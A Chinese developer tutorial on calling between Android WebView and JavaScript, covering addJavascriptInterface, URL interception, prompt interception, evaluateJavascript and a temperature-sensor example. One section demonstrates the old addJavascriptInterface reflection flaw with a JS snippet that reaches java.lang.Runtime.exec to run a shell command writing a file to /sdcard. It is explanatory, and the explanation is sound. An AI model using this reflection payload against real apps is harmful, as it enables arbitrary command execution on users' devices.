在 Android WebView 中实现和 JavaScript 的互操作

前言

在 APP 中内嵌一个 H5 来实现特定的业务功能已经是非常成熟且常用的方案了。

虽然 H5 已经能够实现大多数的需求,但是对于某些需求还是得依靠原生代码来实现然后与 JavaScript 进行交互,例如我目前所负责的项目就是一个 "智能硬件" 设备,需要外接非常多的硬件或传感器获取特定的数据,并在实际业务中使用。此时如果直接使用 H5 是无法获取到这些数据的,这就必须依赖于安卓原生提供相应的数据。

JavaScript 调用 Android 原生方法

webView.addJavascriptInterface()

简介

webView.addJavascriptInterface() 有两个参数 Object obj, String interfaceName 。

  1. 其中 object 即需要提供给 js 调用的对象。在 Android 4.1.2 (API 16) 以下时,js 可以调用该对象的所有公开方法;在 Android 4.2 (API 17)以上时, js 只能调用添加了 @JavascriptInterface 注解的公开方法。

之所以会有这样的改动,是因为在 API 16 之前可以调用所有公开方法具有安全隐患,例如可以利用 jave 的反射机制实现任意命令的执行。

  1. interfaceName 即 js 调用时的接口名称。

使用方法

首先,我们定义一个类用于给 js 调用:

kotlin 复制代码
class TestJsBridge {

    @JavascriptInterface
    fun getCurrentTemperature(): String {
        val data = "37.5" // 模拟从传感器获取的数据
        return data
    }
}

然后,我们需要允许 WebView 的 js 支持:

kotlin 复制代码
val webSettings = webView.settings
webSettings.javaScriptEnabled = true

接下来,将第一步中定义的 TestJsBridge 对象通过 addJavascriptInterface 注入到 js 中:

kotlin 复制代码
webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")

现在,我们就可以直接在 JavaScript 中调用这个方法了:

html 复制代码
<script type="text/javascript">
	var temp = NativeBridge.getCurrentTemperature();
</script>

此时,在 js 中,temp 的值就是 37.5 。

另外需要注意的是,js 调用 java 的方法不是在主线程中调用的,而是在 webview 自己线程中调用的,所以在编写某些涉及到 UI 的操作时需要先切换至主线程。

漏洞解析

对了,上文中说过在 API 16 以下的 addJavascriptInterface 有安全隐患,这里简单举一个例子演示如何通过反射在 js 中执行任意 sh。

首先,依旧是提供一个对象供 js 调用,这里我们直接给一个空对象:

kotlin 复制代码
class TestJsBridge {}

然后注入到 js 中:

kotlin 复制代码
webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")

最后在 js 中这样写:

kotlin 复制代码
<script type="text/javascript">
for (var obj in window) {
  try {
    if ("getClass" in window[obj]) {
        try{
            ret= NativeBridge.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['echo', 'hello,equationl', '>', './sdcard/hack.txt']);
        } catch(e) { }
    }
  } catch(e) {}
}
</script>

这样,即使我们注入 js 的对象什么方法都没写,还是会被执行 sh ,上述 sh 就是输入一段字符串 "hello,equationl" 到 /sdcard/hack.txt 文件中。

shouldOverrideUrlLoading 拦截 URL

简介

我们可以通过 webview 的 shouldOverrideUrlLoading 拦截到当前请求的 URL,并且可以修改以什么样的方式去处理这个 URL。

换言之,我们可以在 js 中通过请求不同的 URL 来实现调用 java 代码并且传递值。

使用方法

首先,我们需要自己规定一下哪种形式的 URL 会被认为是需要被拦截处理的。

这里我们就简单的定为 "jsBridge://" 开头的 URL 表示需要被拦截处理,而其后跟着的路径表示调用哪个方法以及附带的参数。

例如,"jsBridge://getNewMsg?id=monkey_fish" 表示需要调用 java 的 getNewMsg 方法,并且附带参数 id 为 monkey_fish 。

接下来,我们覆写 webview 的 shouldOverrideUrlLoading 方法,并在其中对 URL 进行处理。

kotlin 复制代码
webView.webViewClient = object : WebViewClient() {
    
    override fun shouldOverrideUrlLoading(view: WebView, request: WebResourceRequest): Boolean {

        // ------  对alipays:相关的scheme处理 -------
        val url = request.url.toString()
        if (url.startsWith("jsBridge://")) {
        	// 解析参数等等等,然后调用安卓代码,这里假设是跳转到一个新的 Activity
        	// ......
            val intent = Intent(this@WebViewHolderActivity, MsgActivity::class.java)
            startActivity(intent)
            return true
        }

        return super.shouldOverrideUrlLoading(view, request)
    }
}

在 shouldOverrideUrlLoading 方法中返回 true 表示当前 URL 已被拦截,webview 将取消继续加载,false 则表示继续使用 webview 加载。

那么,js 如何调用这个方法呢?其实也很简单,只要重定向一下当前网址即可:

html 复制代码
<script type="text/javascript">
	document.location = "jsBridge://getNewMsg?id=monkey_fish";
</script>

通过上面的例子我们可以看出,这个方式其实不太适合于 js 和 安卓原生的交互,反而更适合用于回调某些内容,并且这个内容不需要网页继续操作。

事实上,大多数情况下这个方法是用于网页授权登录或者网页支付等场景的。

例如,业务中某项第三方授权登录使用的是 webview 打开第三方授权网页,在网页上完成登录后,该第三方网页会重定向到特定的 URL,并在其中带入 token,例如:"authorize:xxxxxxxxxxx"。

此时,我们只需要拦截具有上述规则的 URL,并跳转到我们的登录界面即可,也就是说,后续操作就没有这个网页什么事了。

拦截对话框

简介

我们还可以通过覆写 onJsAlert 、 onJsConfirm 、 onJsPrompt 实现对 js 中的 alert() confirm() prompt() 三种不同的对话框的拦截和修改,从而变相的达到 js 调用原生代码的目的。

三个对话框都可以通过 message 参数向安卓传递参数。

第一个对话框不能返回数据给 js ; 第二个对话框只能返回一个 Boolean 值给 js ;最后一个对话框 onJsPrompt 可以返回一个字符串给 js,所以一般都是使用 onJsPrompt 来实现 js 和安卓的交互,因此我们接下来就只以 onJsPrompt 举例。

使用方法

要覆写 onJsPrompt 需要先创建一个类继承自 WebChromeClient() ,然后在其中覆写 onJsPrompt :

kotlin 复制代码
    class MyWebChromeClient : WebChromeClient() {

        override fun onJsPrompt(view: WebView, url: String, message: String, defaultValue: String, result: JsPromptResult): Boolean {
            val resultMsg = getNext(message)
            result.confirm(resultMsg)
            return true
        }
    }

其中,result.confirm(resultMsg) 相当于我们点击了这个对话框的确定按钮,并且返回提供的值(resultMsg)。如果调用 result.cancel() 则相当于点击了这个对话框的取消按钮,此时返回值为 null 。

而 getNext 是我们的原生逻辑代码,它会返回一个 String 的结果:

kotlin 复制代码
    fun getNext(id: String): String {
        // ......
        if (id == "fish") return "我多么想成为你的鹿"

        // ......
        return ""
    }

然后将该类设置到 webview 上:

kotlin 复制代码
webView.webChromeClient = MyWebChromeClient()

现在,我们只需要在 js 中如此调用即可:

html 复制代码
<script type="text/javascript">
	var nextMsg = prompt("fish");
</script>

此时 js 中的 nextMsg 变量就是通过原生安卓拿到的 "我多么想成为你的鹿" 。

Android 调用 JavaScript 方法

evaluateJavascript()

要在 webview 中调用 js 代码也非常简单,官方给出的方案就是直接使用 evaluateJavascript() 。

evaluateJavascript() 接收两个参数: script 和 resultCallback ,其中 script 就是我们要执行的 js 代码,可以执行任意 js 代码;而 resultCallback 是执行结果回调,返回结果是 String 类型。

使用起来也十分简单,例如我们想要调用 js 显示一个 alert 弹框:

kotlin 复制代码
webView.evaluateJavascript("alert('hello, my fish, my monkey');") {
    println("执行结果: $it")
}

需要注意的是这里的返回结果是空的,因为 alert 本来就没有返回值。

loadUrl()

另外一种在 webview 中调用 js 的代码的方法就是使用 loadUrl(),其实顾名思义,loadUrl() 是用来加载 URL 的,但是它同样可以用来执行 js ,就如同我们直接在浏览器地址栏中输入一样:

javascript:alert('hello, my deer');

在 webview 中使用也一样:

kotlio 复制代码
webView.loadUrl("javascript:alert('hello, my deer');")

但是使用这种方式调用有一种显而易见的缺点,那就是我们无法直接拿到 js 执行的结果。

实践使用

上面已经简要介绍了如何实现安卓原生和 H5 或者说和 js 的交互。

下面我就简单说一下在实际中的应用。

还是以我负责的这个项目为例,在我这个项目中更多的是需要将硬件的能力或者说数据传递给 js 以供 H5 来使用,所以我基本都是在使用 webView.addJavascriptInterface() 。

另外在提供数据给 js 时还会涉及到两种提供方式。

因为在这个项目中,所有硬件的数据都是实时轮询后实时回报给安卓端 APP 的,所以在提供给 JS 时同样需要提供两种形式的数据:一是当前某个传感器的瞬时数据;二是希望能够实时提供某个传感器的数据。

对于情况一非常好实现,这里以获取温度传感器的瞬时值举例。

首先先定义一些工具方法,用于将返回的数据格式化成固定格式:

kotlin 复制代码
    fun getCommonResponse(code: Int = WebViewCode.OK, message: String = "", data: String): String {
        return Gson().toJson(CommonResponse(code, message, data))
    }

然后定义需要注入 js 的接口:

kotlin 复制代码
class JsTemp {
    @JavascriptInterface
    fun getCurrentTemp(): String {
        if (!TempManager.isConnected()) {
            return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "没有连接温度传感器", data = "")
        }
        if (!TempManager.isDeviceExist()) {
            return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "没有可用的温度传感器", data = "")
        }
        return WebViewUtil.getCommonResponse(data = TempManager.currentTemp.toString())
    }
}

将其注入 webView:

kotlin 复制代码
val jsTemp by lazy { JsTemp() }
val JsTempObject = "NativeTemp"

// ......

webView.addJavascriptInterface(jsTemp, JsTempObject)

然后在 H5 中如此调用:

html 复制代码
<html>

<head>
    <title>test</title>
</head>

<body>

<div class="toast-div" id="currentTemp" onclick="getCurrentTemp()">获取当前温度</div>

<div id="temp">temp: null</div>

</body>

<script type="text/javascript">

        function getCurrentWeight() {
            document.getElementById("temp").innerHTML = "current temp: "+ NativeTemp.getCurrentTemp();
        }

    </script>
</html>

这样即可在 H5 获取当前温度的瞬时值。

如果我们想要在 H5 中实时获取温度值的话,我们可以事先在 js 中定义好需要的回调函数,然后将函数传递给 webview,再由安卓原生在轮询温度值时通过 evaluateJavascript 将值回调给设置的 js 回调函数。

代码如下,

首先,在 H5 中定义好用于接收温度的值的回调函数,以及界面:

html 复制代码
<!-- ...... -->

<div class="toast-div" onclick="NativeTemp.addOnTempChangeListener('onTempChange')">添加温度监听</div>

<div class="toast-div" onclick="NativeTemp.removeOnTempChangeListener('onTempChange')">移除温度监听</div>

<!-- ...... -->

<script type="text/javascript">

<!-- ...... -->

		function onTempChange(temp) {
			document.getElementById("temp").innerHTML = "temp callback: "+temp + " | " + Date.now();
		}

<!-- ...... -->

</script>

其中的 onTempChange 即为我们定义的用于接收回调的 js 函数名称。

然后在安卓的接口类中:

kotlin 复制代码
// ......
    /**
     * 添加温度改变时的监听回调
     *
     * @param callbackFunName JS 函数名,温度改变时回调给哪个 JS 函数
     * @return 返回添加结果
     * */
    @JavascriptInterface
    fun addOnTempChangeListener(callbackFunName: String): String {
        if (!TempManager.isConnected()) {
            return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "没有连接温度传感器", data = "")
        }
        if (!TempManager.isDeviceExist()) {
            return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "没有可用的温度传感器", data = "")
        }

        val result = onTempChangeFunName.add(callbackFunName)

        return if (result) {
            WebViewUtil.getCommonResponse(data = "OK")
        } else {
            WebViewUtil.getCommonResponse(code = WebViewCode.CallBackAlreadyAdd, message = "$callbackFunName 已经添加", data = "")
        }
    }



    /**
     * 移除温度改变时的监听回调
     *
     * @param callbackFunName JS 函数名,已添加的 JS 函数
     * @return 返回移除结果
     * */
    @JavascriptInterface
    fun removeOnTempChangeListener(callbackFunName: String): String {
        val result = onTempChangeFunName.remove(callbackFunName)

        return if (result) {
            WebViewUtil.getCommonResponse(data = "OK")
        } else {
            WebViewUtil.getCommonResponse(code = WebViewCode.CallBackNotExist, message = "$callbackFunName 不存在", data = "")
        }
    }
// ......

其中的 onTempChangeFunName 是我们的定义的一个 Set ,用于存放当前设置的回调函数名称:val onTempChangeFunName: MutableSet<String> = mutableSetOf() 。

最后,在轮询温度的地方调用:

kotlin 复制代码
while (true) {
    // ......
    val result = 36.5 // 模拟轮询到温度结果
    // ......
    if (onTempChangeFunName.isNotEmpty()) {
        val json = WebViewUtil.getCommonResponse(data = result.toString())

        for (function in onTempChangeFunName) {
            webView.evaluateJavascript("$function('$json');") {

            }
        }
    }
    
    delay(50)
}

自此,我们实时获取温度传感器数值的目的也达成了。

相关推荐
前端双越老师3 分钟前
程序员 1v1 访谈系列第三期:先不要想在工作中有突破
前端·ai编程·全栈
浮生望7 分钟前
从作用域链到 React 陈旧闭包:为什么函数式更新能拿到最新 state
javascript
小羊没烦恼!8 分钟前
浅谈SQL Server中的事务日志(二)----事务日志在修改数据时的角色
前端·数据库·后端·python·web安全·oracle
HackTwoHub8 分钟前
免 Root 安卓渗透工具 Stryker|把 Kali 装进手机!随身无线渗透工作站,内置 Nmap/Nuclei/Metasploit 全套武器库
android·linux·运维·人工智能·web安全·macos·智能手机
myaifas11 分钟前
新人的第一个任务该怎么选
前端·产品经理
怕浪猫22 分钟前
前端转全栈最低成本的技术栈选择
前端·javascript·面试
狂师25 分钟前
AI时代我们要如何玩抓包测试:Reqable + AI Agent
前端·程序员·测试
data analyse 45627 分钟前
页面卸载时埋点上报总丢失?sendBeacon 上报与补偿方案
大数据·运维·服务器·前端·数据库·人工智能·数据分析
WebInfra34 分钟前
Rsdoctor 2.0 发布:Agent 驱动的全自动优化工具
前端·javascript·node.js
乘风gg36 分钟前
AI Coding 时代最值钱的东西,软件工程(上)
前端·ai编程·claude